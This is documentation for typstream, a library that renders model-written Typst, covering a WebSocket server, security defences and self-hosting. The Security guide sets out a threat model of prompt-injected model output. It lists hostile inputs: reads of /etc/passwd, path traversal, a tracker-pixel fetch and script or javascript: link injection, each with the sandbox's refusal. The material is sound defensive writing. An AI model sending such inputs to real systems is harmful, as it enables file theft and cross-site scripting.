const http = createServer(app); // your app's request handler
http.on("upgrade", (req, socket, head) => {
  if (req.url !== "/typst" || !isSignedIn(req)) {
    socket.destroy();
    return;
  }
  wss.handleUpgrade(req, socket, head, (ws) => handleWebSocket(ws, typst));
});
http.listen(3000);
```

The options:

### ProtocolServerOptions

Limits and identity for createProtocolServer; every connection gets the same.

| Prop             | Type                                                   | Description                                                                                                           |
| ---------------- | ------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------- |
| `engine?`        | `NodeEngine \| undefined`                              | Default: defaultEngine.                                                                                               |
| `timeouts?`      | `{ streaming?: number; final?: number; } \| undefined` | Watchdog budget per compile by `mode`, in ms; exports are `final`. Default 3,000 streaming, 10,000 final (PLAN §6.3). |
| `maxDocuments?`  | `number \| undefined`                                  | Open documents per connection. Default 32.                                                                            |
| `maxTextLength?` | `number \| undefined`                                  | Longest `/main.typ` (preamble and text), in UTF-16 code units. Default 1,000,000 (PLAN §9).                           |
| `serverInfo?`    | `{ name?: string; version?: string; } \| undefined`    | Reported in `initialize`'s `serverInfo`.                                                                              |

The engine's own options (workers, fonts, the default budget) are `createEngine`'s; see [Validating and repairing on the server](/docs/guides/server-fix-loop#the-engine). One engine can serve the protocol and your `validate` and `render` calls at the same time.

## What the server offers

| | |
|---|---|
| Targets | HTML, and paged with changed-page updates (only pages whose content changed are sent). |
| Exports | PDF and HTML: `doc.exportPdf()` and `doc.exportHtml()` work over the connection. |
| Fixers and fallback | The built-in fixers and the fallback ladder run on the server, as they do in the browser worker. |
| Fonts | The server engine's: Typst's bundled fonts and the script fonts, plus any you give `createEngine`. Fonts a client sends are ignored. |
| Packages | None by default. The server ignores the package lists clients send (see below) and has no allowlist of its own, so `#import "@preview/…"` reports that the package isn't allowed. Local packages in a plugin's `files`, such as `@typstream/edu`'s, work. |
| Fixer modules | Ignored, with a warning: importing a module would run the client's code on your server. |
| `resolve/*` | Not offered. |

**Sessions.** Each connection is a session with its own documents. Closing the socket cancels its queued requests and frees its documents.

**Watchdog.** Documents live on the server's main thread and pool workers only compile, so a compile over budget costs one compile, not the session: the pool terminates that worker and the compile answers with an error diagnostic, `code: "timeout"` (or `"engine-crashed"` when it ran out of memory). The fallback then finds the block that hangs and shows it as an error box.

## The wire format

Messages are JSON text, one per WebSocket message. They are the protocol's plain data (`@typstream/core`'s `ClientMessage` and `ServerMessage`), except that bytes (files, PDF exports) are written as `{ "$bytes": "<base64>" }`. `serializeMessage` and `deserializeMessage` from `@typstream/core` read and write it, in the browser and in Node:

```ts
import { deserializeMessage, serializeMessage } from "@typstream/core";

serializeMessage({ id: 1, method: "export/pdf", params: { uri: "doc-1", rev: 3 } });
// '{"id":1,"method":"export/pdf","params":{"uri":"doc-1","rev":3}}'
deserializeMessage('{"id":1,"result":{"uri":"doc-1","rev":3,"diagnostics":[],"status":"ok","data":{"$bytes":"JVBERi0="}}}');
// result.data is a Uint8Array
```

`deserializeMessage` only parses: validate the result before trusting it, as the server does.

## Untrusted clients

Anyone who can open the socket can send the server anything, so the server treats every client as untrusted:

- **Shapes are checked** before the protocol server reads a message. A malformed request is answered `invalid-params`; anything else malformed gets a `$/log` warning back and is dropped. The only notification clients may send is `$/cancel`.
- **Limits.** More than `maxDocuments` open documents (32), or a document longer than `maxTextLength` (1,000,000 UTF-16 code units, preamble and text), answers `invalid-params`. Cap the size of a single message on the socket server: `ws`'s `maxPayload` (8 MiB above).
- **No fetching for clients.** The protocol server runs with `trustClient: false`, so it ignores the package allowlists clients send. Otherwise a client could make your server fetch any URL.
- **No code from clients.** It runs with `clientFixers: false`, so it ignores the fixer modules clients name. Otherwise a client could run code in your server (a `data:` URL is a module).
- **The sandbox.** Documents can't read the server's filesystem or the network, only the files the client sent to that document, and diagnostics name virtual paths only. See [Security](/docs/guides/security).

Authentication, rate limits and the number of connections per user are yours to enforce, in the upgrade handler or in front of the server.

## Connect the browser

The engine client (`createEngine` from `@typstream/engine`) talks to whatever its `spawn` function starts. In a browser that is usually a worker (`engineWorker()`); `fromWebSocket` from `@typstream/engine/websocket` connects it to your server instead:

```npm
npm install @typstream/engine
```

```ts title="engine.ts"
import { createEngine } from "@typstream/engine";
import { fromWebSocket } from "@typstream/engine/websocket";

export const engine = createEngine({ spawn: fromWebSocket("wss://typst.example.com/typst") });
```

Then use it like any engine: `<TypstreamProvider engine={engine}>` in React, or `mountTypstream(element, { engine, … })`. In an app rendered on the server, create the engine in the browser only, as in [Self-hosting](/docs/guides/self-hosting#a-custom-worker). `fromWebSocket` is its own entry point, so pages that compile in a worker don't download it.

To authenticate each connection with a short-lived token, pass a function: it is called for every connection, the first and each one that replaces it, and must return the URL synchronously.

```ts
// sessionToken() returns your app's current token.
const spawn = fromWebSocket(() => `wss://typst.example.com/typst?token=${encodeURIComponent(sessionToken())}`);
```

How the client behaves over this transport:

- **Healing stays in the browser.** The client heals each chunk on the main thread and sends the server one diff right before each compile, so the server sees healed source, never half a token.
- **The watchdog.** The budgets `fromWebSocket` gives the engine, 10 s streaming and 30 s final, sit above the most the server takes with its default timeouts (about 4.5 s and 15 s, its fallback included), so the server's own timeout answers first: a `timeout` diagnostic that costs one compile. Past the client's budget (a server that stopped answering), the client closes the connection and opens a new one, a new session; documents open themselves again before their next compile. If you raise the server's `timeouts`, raise the client's `watchdog` with them.
- **No spare connection.** In a worker the engine keeps a spare warm; over a socket that would be a second session per page, so `fromWebSocket` turns it off. Pass `spare: true` to `createEngine` to have it anyway.
- **Dropped connections.** When a connection closes (the server restarted, a proxy timed it out), the engine emits a `disconnect` event and opens a new one; the compile or export that was running is retried there, without counting against the document. A request that keeps dropping the connection (three times in a row, such as a message over `maxPayload`) then counts as a crash, so it stops.
- **A server that can't be reached.** Opening a connection is retried 4 times, after 0.5, 1, 2 and 4 s (`retries`, `retryDelayMs`). When every attempt fails, or a connection closes before the server answers `initialize` (it refused it), the engine fails (an engine `failed` event, every document in `error`) rather than reconnecting in a loop. Create a new engine to try again.
- **Telemetry** works as with a worker: the [events](/docs/guides/telemetry) come from the client. `serverInfo.name` in the engine's `ready` event is `@typstream/node`.

The options:

### WebSocketOptions

Options of fromWebSocket.

| Prop            | Type                                                                                | Description                                                                                         |
| --------------- | ----------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------- |
| `protocols?`    | `string \| string[] \| undefined`                                                   | Subprotocols, for the `WebSocket` constructor.                                                      |
| `retries?`      | `number \| undefined`                                                               | Attempts to open a connection after the first fails, before the engine gives up. Default 4.         |
| `retryDelayMs?` | `number \| undefined`                                                               | Wait before the first retry, in ms, doubled for each one after it. Default 500 (0.5 + 1 + 2 + 4 s). |
| `WebSocket?`    | `(new (url: string, protocols?: string \| string[]) => WebSocketLike) \| undefined` | The WebSocket class. Default: the global `WebSocket` (browsers, Node 22+).                          |

The server's `$/log` warnings (ignored fonts or fixer modules) arrive as `log` events. Browsers can't send WebSocket pings, so a proxy that closes idle connections (nginx's `proxy_read_timeout` is 60 s by default) makes the client reconnect after each one: harmless, as nothing is lost, but raise the proxy's idle timeout if the reconnects bother you.

## Content-Security-Policy

Under a policy, allow the socket's origin in `connect-src`:

```text
connect-src 'self' wss://typst.example.com
```

If no page uses the local engine, `'wasm-unsafe-eval'` and `worker-src` aren't needed for typstream. See [Security](/docs/guides/security#content-security-policy) for the rest of the policy.


# Security

> What a hostile document can and can't do to a page that renders it, the defences in each layer, and how to serve typstream under a strict Content-Security-Policy.

Source: https://typstream.vercel.app/docs/guides/security

typstream renders Typst that a language model writes. This page explains what a hostile document can and can't do to a page that shows it, what holds that line, and how to serve typstream under a strict Content-Security-Policy.

<Callout type="warn" title="Treat documents as untrusted code">
  Typst is a programming language, and the model writing it can be wrong or steered. A prompt can be injected through anything the model reads: a pasted article, a student's answer, a web page. Design as if every document were written by an attacker.
</Callout>

## Threat model

**The attacker** is whoever controls the document text: the model, or someone steering it. A typstream server (`@typstream/node`) faces a second attacker: any client that can reach it.

**What they want:**

- To run script in the host page's origin: steal its session, act as the user.
- To make the browser fetch something: track the reader, leak data in a URL, probe the app's own origin.
- To read files the app didn't mean to show: other documents' files, the app's static files, the server's disk.
- To take the page down: hang the tab, exhaust memory, crash the worker for good.
- To deceive the reader: links to other schemes, content that covers the app's own interface.

**Where the document goes:** text → the healer (main thread) → the engine worker (Typst compiled to WebAssembly) → an artifact (HTML, or page SVGs) → the renderer (DOM). Each step is a boundary below.

## The engine's world: no files, no network, no host

Typst sees a virtual file system that the app fills. It holds the document, its preamble, the files the app passes (`files`), and the packages the app allows. There is no network, no environment and no clock beyond the date, and `#read`, `#image`, `#json`, `#xml`, `#plugin` and imports resolve inside that file system only:

| A document tries | What happens |
|---|---|
| `#read("/etc/passwd")`, `#read("file:///etc/passwd")` | `file not found (searched at /etc/passwd)`: paths name virtual files only |
| `#read("../../../etc/passwd")` | `path … would escape the project root` |
| `#image("https://tracker.example/pixel.png")` | `file not found`: a URL is just a path. The image shows as a placeholder, and nothing is fetched |
| reading another document's files | `file not found`: each document's engine mounts only its own files |
| `#import "@local/…"`, a package not on the allowlist | `package … is not allowed`, and nothing is fetched |
| a wasm plugin importing a host function | `cannot find definition for import env::fetch`: plugins get only Typst's two protocol functions |
| an XML external entity, entity expansion, an SVG `use` bomb | refused by Typst's XML and SVG parsers (unknown entity, entity loop, nodes limit) |

Diagnostics name virtual paths only, never the server's or the machine's.

Packages come from an allowlist with pinned versions and integrity hashes, served from the app's own origin by default (`@typstream/universe`; see [Typst packages](/docs/guides/typst-packages)). A server facing untrusted clients ignores the lists they send (`trustClient: false`, which `@typstream/node` sets), and the fixer modules they name (`clientFixers: false`, also set), since importing a module runs its code.

Images from the web are the one exception, and it is the app's choice: a `resolveImage` (such as `fetchImages`) runs
on the main thread, where the app decides which paths to fetch and from which hosts. The engine still fetches nothing,
so a `@typstream/node` server stays offline whatever its clients' documents name. An image URL is a way out for data
the model read, so allow only hosts you trust; see [Images](/docs/guides/images#images-from-the-web).

Font catalogues (`@typstream/google-fonts`) are the other, also opt-in: a family a document names is downloaded if a
catalogue the app gave the engine lists it. The document chooses only among the catalogue's families; the URLs come
from the catalogue's index, never from the document, and a server facing untrusted clients ignores the catalogues
they send (`fontCatalogues: { trustClient: false }`, which `@typstream/node` sets). Which family a document asked for
is visible to the catalogue's host.

<Callout type="error" title="Keep the engine offline">
  Don't give typstream an engine whose file access goes to the network. typst.ts's `FetchAccessModel`, for example, turns every path a document names into a request to your origin.
</Callout>

## Compute: the watchdog, traps and limits

Typst stops some runaways itself: infinite `while` loops, deep recursion, show rules that never terminate, and layout that doesn't converge (five attempts). It doesn't stop the rest: long finite loops, recursion with distinct arguments, memory bombs, and wasm plugins that never return (plugins have no fuel limit).

- **The watchdog** gives every compile a budget (3 s streaming, 10 s final). Past it, the main thread terminates the worker and continues on a fresh one. Three strikes stop live preview; the finished document compiles once more, and then the [fallback ladder](/docs/concepts/fallback) finds the blocks that hang and shows them as error boxes.
- **Traps.** A Typst panic, running out of wasm memory, or content nested so deep that the wasm stack overflows ends the worker without an answer. The client counts it like a timeout and replaces the worker. The stack overflow surfaces as the host's error (`RangeError` in V8 and JavaScriptCore, `InternalError` in SpiderMonkey), not a wasm trap, and leaves the instance unusable, so the server treats it as fatal too.
- **Memory.** Typst's caches are evicted after every compile. A worker that reports more than 256 MiB is replaced (`recycleBytes`).
- **Limits** (`createEngine({ limits })`):
  - `maxLength` (default 1 MiB of UTF-16 code units): longer input isn't healed or compiled, which protects the main thread. The document reports `too-large`, keeps its last render, and refuses exports until `set()` or `reset()` brings it back under the limit.
  - `livePages` (default 100): a streaming compile with more pages stops live preview (`too-complex`). The finished document compiles in full.
  - `@typstream/node` refuses documents over `maxTextLength` (1,000,000).

## Output: what reaches the DOM

Typst writes what `html.elem` asks for, verbatim: `<script>`, `onerror=`, `href="javascript:…"`, `<iframe srcdoc>`, `<base>`, `<meta http-equiv=refresh>`. The renderers are where these stop.

### HTML target

The renderer parses markup into an inert `<template>`, so nothing runs or loads while it is parsed. It cleans that tree with an allowlist sanitizer and moves the cleaned nodes into the page; nothing is serialized and parsed again, so mutation XSS can't happen. The sanitizer keeps:

- the HTML elements Typst writes, MathML Core and drawing SVG;
- links to `http(s)`, `mailto` and `#fragments` (external links get `rel="noopener noreferrer"`), read the way URL parsers read them (`java\tscript:` is `javascript:`);
- images from `data:image/*` and `blob:` only;
- CSS that loads nothing (no `url()`, `image-set()`, `expression()`, bindings) and isn't `position: fixed`;
- the classes Typst writes (its MathML and bibliography classes), the engine's `typstream-*` placeholders, and the ones plugins list (html-compat's `ts-*`, edu's `edu-*`).

Everything else goes: scripts, styles, frames, objects, forms, `on*` handlers, `data-*`, `name`, `is`, `srcset`, `ping`, SVG animation, `foreignObject`, and every other class, so a document can't take on your page's styles (Tailwind's `fixed inset-0 z-50`, your app's button) or what your scripts attach to a class. Ids get a per-renderer prefix, so a label can't clobber a global (`window.location`). Plugins can allow more tags, attributes and classes (the `sanitize` facet), but never handlers, scripts or attributes that load something. An attribute a plugin allows on every element (`allowAttrs["*"]`) applies to HTML elements only and can't be `href` or `src`; `href` and `src` allowed for one tag go through the same URL checks as Typst's links and images, and an allowed `name` gets the id prefix, so `<img name="cookie">` can't clobber `document.cookie`.

The document also stays inside its element. A document can still lay a box over its own content (CSS such as `position: absolute`, negative margins or `transform` has legitimate uses), and your page's CSS can still reach the elements it writes. So the renderer's stylesheet clips the root, `.typstream`:

```css
:where(.typstream) {
  position: relative;
  overflow: clip;
  clip-path: inset(0);
}
```

`clip-path` clips the painting and the clicks of everything inside, `position: fixed` boxes included, so nothing the document draws covers your app outside its element. `overflow: clip` keeps what it overflows with from making your page scroll. Neither changes layout (no new formatting context, so margins collapse as before). The renderer lays the document out on pages (`.typstream-pages`): the document is then in its flow (`.typstream-flow`), over the sheets, which clips the same way, its box the pages' text and margins, so what reaches past a page's edge, such as a box placed outside it, is cut off there. Scroll the element itself if you prefer: a rule of yours on `.typstream` wins over `:where()`, and a scrolling ancestor clips as well. If you pass `injectStyles: false`, ship these rules with the rest of `htmlRendererCss`.

### Render islands

A [render island](/docs/guides/islands) is your code running on data a document wrote. The renderer reads a
`typstream-island` marker's name and JSON before sanitizing (the sanitizer keeps the element, none of its attributes)
and mounts an island only for a name a loaded plugin declares and your app gave a component for, so a document can't
mount a component you didn't pair with its plugin. The data goes through the plugin's `parse` first: a marker whose
JSON is over 64 KB, doesn't parse or doesn't pass keeps its Typst fallback, as do markers past 50 per document. An
island gets files only through `IslandProps.file`, the bytes the document already has; it fetches nothing the document
names. Write islands to treat their data as text, never as markup or URLs to load: `@typstream/mindmap` renders labels
through React and checks colours and sizes before they reach a style.

### Paged target

Pages are typst-svg's output: glyphs as paths, images as `data:` URLs, and attribute values escaped by its XML writer. A page lives in its own shadow root, where the app's CSS can't reach it. Each page is parsed into an inert `<template>` first, and the view keeps links to `http(s)` and `mailto` only, and images with `data:` URLs only, before the page is inserted. It trusts typst-svg's serializer for the rest. The hostile documents check that on every Typst upgrade.

### Standalone HTML exports

Standalone HTML exports (`standaloneHtml` from `@typstream/dom`) aren't sanitized. Files laid out as the pages (`standalonePages`, which a mounted document's `exportHtml()` uses) hold what the HTML renderer showed, sanitized, serialized again. Either file carries its own Content-Security-Policy (no scripts, no network, no forms), which stops what the document wrote in Chromium, Firefox and WebKit, and markup the serializer and a reader's parser would disagree about (mutation XSS) too. See [Exports](/docs/guides/exports).

The engine's `doc.exportHtml()` (and `@typstream/node`'s `render(source, "html")`) return Typst's HTML as it is: unsanitized, and without that policy. Wrap it with `standaloneHtml` before you offer it as a file, and never insert it into your page.

## Privacy

Nothing is fetched from third parties by default. The engine, its fonts and packages come from the app's origin and are cached in Cache Storage. `@typstream/google-fonts` is the exception when you add it: readers' browsers download the families documents use from `cdn.jsdelivr.net`, unless you [mirror them](/docs/guides/fonts-and-languages#limits). typstream sends no telemetry; the [events it reports](/docs/guides/telemetry) go only where your app sends them.

## Content-Security-Policy

typstream works under a strict policy: no inline script, no inline style, no `eval` and Trusted Types enforced, with everything served from your own origin. typstream's CI serves a page with exactly this policy and opens it in Chromium, Firefox and WebKit, failing on any violation:

```text title="Content-Security-Policy"
default-src 'none';
script-src 'self' 'wasm-unsafe-eval';
worker-src 'self';
connect-src 'self';
img-src 'self' data: blob:;
font-src 'self';
style-src 'self';
base-uri 'none';
form-action 'none';
frame-ancestors 'none';
require-trusted-types-for 'script';
trusted-types typstream
```

What each directive is for:

| Directive | Why typstream needs it |
|---|---|
| `script-src 'wasm-unsafe-eval'` | The engine is WebAssembly. Compiling a module needs this keyword: it allows `WebAssembly.compile*`, not `eval`. The worker gets the policy from its own response, so send the header on the worker script too. |
| `worker-src 'self'` | The engine runs in a module worker loaded from your origin (`engineWorker()`). Bundling setups that inline workers as `blob:` URLs need `blob:` here. |
| `connect-src 'self'` | The worker fetches the wasm, the fonts (script fonts lazily, when a document uses them) and package tarballs. Add the origin if you serve these from a CDN ([Self-hosting](/docs/guides/self-hosting#loading-from-a-cdn)), the WebSocket's origin for a [remote engine](/docs/guides/remote-engine), and `https://cdn.jsdelivr.net` for [Google Fonts](/docs/guides/fonts-and-languages#any-google-fonts-family) (the worker and the HTML renderer download the families documents name). |
| `img-src data: blob:` | Typst writes a document's images as `data:` URLs, and apps may pass `blob:` ones. |
| `font-src 'self'` | `registerMathFont` loads New Computer Modern Math for MathML through the FontFace API. |
| `style-src 'self'` | Enough. The renderers inject their CSS as constructed stylesheets (`adoptedStyleSheets`), and apply the inline styles of Typst's HTML (layout from html-compat, fills, colours) through the CSSOM. A strict policy refuses `style` attributes parsed from markup, so they never reach the parser. Browsers without constructed stylesheets (Safari before 16.4) get a `<style>` element instead, which needs `'unsafe-inline'`. |
| `require-trusted-types-for 'script'`, `trusted-types typstream` | Optional: [Trusted Types](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API) make script sinks such as `innerHTML` refuse plain strings. typstream passes its markup and the engine worker's URL through one policy named `typstream`, so list that name next to your app's own policies. |

Not needed: `'unsafe-eval'`, `'unsafe-inline'`, cross-origin isolation (COOP/COEP), or any third-party origin.

### Trusted Types

With `require-trusted-types-for 'script'`, the browser refuses strings at script sinks unless a Trusted Types policy made them. typstream has three, and sends all of them through one policy named `typstream`, created the first time one is used:

- the HTML renderer's markup, parsed into an inert `<template>` (nothing runs or loads) and sanitized before it is moved into the page;
- each SVG page, parsed the same way, its links and images filtered before the page is inserted (canvas pages parse no markup: their links are built as elements, with the same filter, and their images only load from `data:` URLs);
- the engine worker's URL (`engineWorker()`).

The policy passes values through unchanged: what makes them safe is that markup is only ever parsed inert and cleaned, and that the worker URL is the one your bundler emitted.

Allow the name in `trusted-types`, next to your own policies: `trusted-types my-app typstream`. A page can create a policy name only once. If something else has already created `typstream` (or the directive doesn't list it), typstream passes plain strings instead: that works without enforcement, or with a `default` policy, and fails with the browser's `TrustedHTML` error otherwise. Two copies of `@typstream/core` in one bundle each try to create it, so deduplicate them, or add `'allow-duplicates'` to the directive.

### Sending the header

Prefer the header to a `<meta>` tag: `frame-ancestors` is ignored in `<meta>`, and the header covers the worker script too. Keep the policy in one place:

```js title="csp.mjs"
export const CSP = [
  "default-src 'none'",
  "script-src 'self' 'wasm-unsafe-eval'",
  "worker-src 'self'",
  "connect-src 'self'",
  "img-src 'self' data: blob:",
  "font-src 'self'",
  "style-src 'self'",
  "base-uri 'none'",
  "form-action 'none'",
  "frame-ancestors 'none'",
  "require-trusted-types-for 'script'",
  "trusted-types typstream",
].join("; ");
```

<Tabs items={["Vite", "Next.js"]}>
<Tab value="Vite">

The dev server and `vite preview` send the policy, so what works in development works behind it:

```js title="vite.config.mjs"
import { defineConfig } from "vite";
import { CSP } from "./csp.mjs";

const headers = { "Content-Security-Policy": CSP };

export default defineConfig({
  server: { headers },
  preview: { headers },
  // The engine worker is a module worker; its chunks must be ES modules too.
  worker: { format: "es" },
  // Vite inlines small assets as data: URLs; keep fonts and package tarballs as files.
  build: { assetsInlineLimit: 0 },
});
```

In production, send the same header from your server or static host.

</Tab>
<Tab value="Next.js">

`headers()` in `next.config` sends it on every route, the worker script and its assets included:

```js title="next.config.mjs"
import { CSP } from "./csp.mjs";

export default {
  async headers() {
    return [{ source: "/:path*", headers: [{ key: "Content-Security-Policy", value: CSP }] }];
  },
};
```

Next.js's own pages need more than typstream does: its App Router writes inline scripts, and its development server uses `eval`. Follow Next.js's Content Security Policy guide (nonces) for its part, and add the directives in the table above for typstream's.

</Tab>
</Tabs>

For any other static host, use its header configuration.

## Known gaps

- The paged view trusts typst-svg's serializer (above): the hostile documents run again on every Typst upgrade, as they do for the plugin sandbox.

## How this is tested

A corpus of hostile documents (reads, images, imports, plugins and XML outside the sandbox; links to other schemes; `html.elem` scripts, handlers, frames, forms, CSS and overlays; runaway plugins; content nested too deep; huge dimensions) streams into the real renderers in CI, in Chromium, Firefox and WebKit, in both targets, along with the sanitizer's XSS and mutation-XSS cases and the strict-CSP page above.


# Self-hosting the engine and assets

> What the engine worker downloads, how to serve it fast from your own origin or a CDN, how to write a custom worker, and how to share and dispose of engines.

Source: https://typstream.vercel.app/docs/guides/self-hosting

typstream fetches nothing from third parties. The engine worker, the Typst compiler (WebAssembly), its fonts and the Typst packages documents import all come from your app's origin, emitted by your bundler as assets. This page explains what those files are, how to serve them so the first preview appears quickly, and how to load them from somewhere else.

## What the default worker loads

`engineWorker()` (which `<Typstream>` uses unless you give it an engine) starts a module worker. The worker and everything it loads are referenced as `new URL("./…", import.meta.url)`, so Vite, webpack and Next.js (Turbopack or webpack) find them, bundle the worker and emit the rest as files. They need no configuration.

| File | Size | Loaded | From |
|---|---|---|---|
| The worker script | small | When the engine is created (with React's default engine: when the first `<Typstream>` or `<TypstreamProvider>` mounts) | `@typstream/engine`'s `worker.js`, bundled |
| `engine_bg.wasm`, Typst 0.15.1 | about 21 MB (6.2 MB brotli, 8.2 MB gzip) | When the worker starts | `@typstream/engine-wasm` |
| Base fonts: Libertinus Serif (regular, bold, italic), New Computer Modern Math (Book), DejaVu Sans Mono | 3.8 MB (1.4 MB brotli) | When the worker starts | `@typstream/engine-wasm/fonts` |
| The rest of Typst's bundled faces: Libertinus Serif bold italic and semibold, New Computer Modern text and math (regular, bold), DejaVu Sans Mono bold and oblique | 12 files, 3.3 MB brotli in all | The first time a document uses one, per face | `@typstream/engine-wasm/fonts` |
| Script fonts: Noto Naskh Arabic, Noto Serif Bengali, Noto Serif Devanagari, regular and bold | 47–79 KB brotli each | The first time a document uses the script | `@typstream/engine-wasm/fonts` |
| Typst package tarballs (CeTZ, fletcher, …) | about 740 KB in all | The first time a document imports one | `@typstream/universe` |
| New Computer Modern Math, for MathML | 1.3 MB | When an HTML document first renders, on the main thread | `typstream` sets it from `@typstream/engine-wasm/fonts` |

Fonts and package tarballs are kept in Cache Storage after their first download (caches named `typstream-fonts` and `typstream-packages`), so they are fetched once rather than once per visit. The wasm is cached by the browser's HTTP cache, so how you serve it matters most.

## Serve the assets compressed and cacheable

The wasm is most of the download. Serve it so it downloads once, compressed, and compiles while it streams in:

| Header | Value | Why |
|---|---|---|
| `Content-Type` | `application/wasm` | The engine compiles the module while it downloads (`WebAssembly.instantiateStreaming`). With another type it falls back to downloading everything first, with a console warning. |
| `Content-Encoding` | `br` (or `gzip`) | 21 MB becomes 6.2 MB with brotli at its highest level, 8.2 MB with gzip. Precompress at build time (`brotli -q 11`): compressing 21 MB per request is slow. |
| `Cache-Control` | `public, max-age=31536000, immutable` | Bundlers put a content hash in emitted file names, so a new version gets a new URL. Use it only for hashed files. |

Do the same for the fonts. Package tarballs are already gzip files: serve them as they are, with the same `Cache-Control`.

Most static hosts and CDNs compress and cache hashed assets for you. Check the response headers of the wasm in your browser's network panel after deploying.

<Callout type="idea">
  Start the download before the first answer streams in. With React, a `<TypstreamProvider>` near the top of the app keeps the page's engine alive while it is mounted, so mounting it early also starts the worker early; see [the engine](/docs/concepts/engine).
</Callout>

## A custom worker

To load the wasm or fonts from somewhere else, or to change what the worker does, write your own worker with `@typstream/engine/server`. A worker script is one call to `serve`:

```ts title="engine.worker.ts"
import { engineWasm, serve } from "@typstream/engine/server";
import { baseFonts, extraFonts, scriptFonts } from "@typstream/engine-wasm/fonts";

serve(
  engineWasm({
    wasm: "https://cdn.example.com/typst-0.15.1.wasm", // a URL, a Response, bytes or a compiled WebAssembly.Module
    fonts: [...baseFonts, "/fonts/Inter-Regular.otf"], // fetched when the worker starts
    lazyFonts: [...extraFonts, ...scriptFonts], // registered now, downloaded when a document uses one
  }),
);
```

Then spawn it on the main thread with `fromWorker`, and give the engine to your components:

```ts title="engine.ts"
import { createEngine, type Engine, fromWorker } from "@typstream/engine";

let engine: Engine | undefined;

/** The page's engine, created on first use. Browser only: there are no workers during server rendering. */
export const getEngine = (): Engine =>
  (engine ??= createEngine({
    spawn: fromWorker(() => new Worker(new URL("./engine.worker.ts", import.meta.url), { type: "module" })),
  }));
```

```tsx title="providers.tsx"
"use client";

import type { ReactNode } from "react";
import { TypstreamProvider } from "typstream";
import { getEngine } from "./engine";

export const Providers = ({ children }: { children: ReactNode }) => (
  <TypstreamProvider engine={typeof window === "undefined" ? undefined : getEngine()}>{children}</TypstreamProvider>
);
```

`createEngine` starts its worker at once, so create it lazily, and only in the browser if your app renders on the server (Next.js renders client components on the server too). In an app that only renders in the browser, a module-level `createEngine(...)` is fine.

Write the `new Worker(new URL("…", import.meta.url), …)` exactly like that, with a literal path: bundlers recognize that pattern and bundle the worker. With Vite, also set `worker: { format: "es" }` in `vite.config`, since the worker is a module worker. `fromWorker` is called again for every replacement worker (after a watchdog timeout, a crash or recycling), so it must create a new `Worker` each time.

`engineWasm` takes these options:

### EngineWasmOptions

How to load engine-wasm.

| Prop         | Type                                                                                      | Description                                                                                                                                                                                                                                                                                                   |
| ------------ | ----------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `wasm?`      | `Promise<InitInput> \| (() => InitInput \| Promise<InitInput>) \| InitInput \| undefined` | The compiler: a URL (fetched and compiled while it streams in), a fetch `Response`, the bytes, or a compiled `WebAssembly.Module`. Default: `engine_bg.wasm` next to engine-wasm's JS, which bundlers emit as an asset. A function is called when the client initializes the worker, and returns one of them. |
| `fonts?`     | `readonly FontInput[] \| undefined`                                                       | Fonts every document gets, in addition to those sent with `initialize`.                                                                                                                                                                                                                                       |
| `lazyFonts?` | `readonly LazyFontInput[] \| undefined`                                                   | Fonts registered at start and downloaded the first time a document uses one, e.g. `extraFonts` and `scriptFonts` from `@typstream/engine-wasm/fonts`. URL fonts with `info` sent with `initialize` join them.                                                                                                 |
| `fontCache?` | `string \| false \| undefined`                                                            | The Cache Storage cache fonts fetched by URL are kept in, so they are downloaded once rather than once per session; `false` fetches every time. Default `"typstream-fonts"`. Ignored where Cache Storage is unavailable.                                                                                      |

Fonts in `fonts` load when the worker starts, for every document. For fonts only some documents need, add lazy fonts: each needs Typst's metadata for the file (`info`), which `Engine.font_info(bytes)` from `@typstream/engine-wasm` computes. [Fonts and languages](/docs/guides/fonts-and-languages#compute-info) shows a script that prints it.

## Loading from a CDN

The worker script itself must come from your origin: browsers don't start workers from other origins. Everything the worker fetches can come from anywhere:

```ts title="engine.worker.ts"
import { engineWasm, serve } from "@typstream/engine/server";
import { extraFonts, scriptFonts } from "@typstream/engine-wasm/fonts";

const CDN = "https://cdn.example.com/typstream/0.15.1";

serve(
  engineWasm({
    wasm: `${CDN}/engine_bg.wasm`,
    fonts: [
      "LibertinusSerif-Regular.ttf",
      "LibertinusSerif-Bold.ttf",
      "LibertinusSerif-Italic.ttf",
      "NewCMMath-Book.ttf",
      "DejaVuSansMono.ttf",
    ].map((file) => `${CDN}/fonts/${file}`),
    // `file` is each lazy font's name in @typstream/engine-wasm's dist/fonts/.
    lazyFonts: [...extraFonts, ...scriptFonts].map((font) => ({ url: `${CDN}/fonts/${font.file}`, info: font.info })),
  }),
);
```

Upload `engine_bg.wasm` and the `fonts/` folder from `node_modules/@typstream/engine-wasm/dist/`. Your bundler may still emit its own copies, because the default URLs are in the modules you import; they are never fetched.

For package tarballs, replace the `universe` plugin with one of the same key whose packages point at the CDN. A plugin given twice loads once, as its last definition, so this one replaces the copy `<Typstream>` adds:

```tsx
import { Typstream } from "typstream";
import { universe, UNIVERSE_PACKAGES } from "@typstream/universe";

const cdnUniverse = {
  ...universe,
  engine: {
    packages: UNIVERSE_PACKAGES.map(({ namespace, name, version, integrity }) => ({
      namespace,
      name,
      version,
      integrity, // checked before use, wherever the file comes from
      url: `https://cdn.example.com/typstream/packages/${name}-${version}.tar.gz`,
    })),
  },
};

<Typstream source={text} plugins={[cdnUniverse]} />;
```

Upload the `.tar.gz` files from `node_modules/@typstream/universe/vendor/` unchanged.

Two things change when the files live on another origin:

- **CORS.** The worker fetches the wasm, fonts and tarballs with `fetch`, so the CDN must send `Access-Control-Allow-Origin` for your app's origin (or `*`).
- **Content-Security-Policy.** Add the CDN's origin to `connect-src`: `connect-src 'self' https://cdn.example.com`. `worker-src 'self'` stays, since the worker is yours. See [Security](/docs/guides/security#content-security-policy).

## Replacing the fixers

When a compile fails, the worker tries its diagnostic fixers and recompiles. The built-in list is `DEFAULT_FIXERS`: `pendingRef`, `missingImage`, `packageStub`, `hoistImport` and `tailCut`. A custom worker can replace it:

```ts title="engine.worker.ts"
import { engineWasm, hoistImport, missingImage, packageStub, pendingRef, serve, tailCut } from "@typstream/engine/server";
import { myFixer } from "./my-fixer";

serve(engineWasm(), undefined, { fixers: [pendingRef, missingImage, packageStub, hoistImport, myFixer, tailCut] });
```

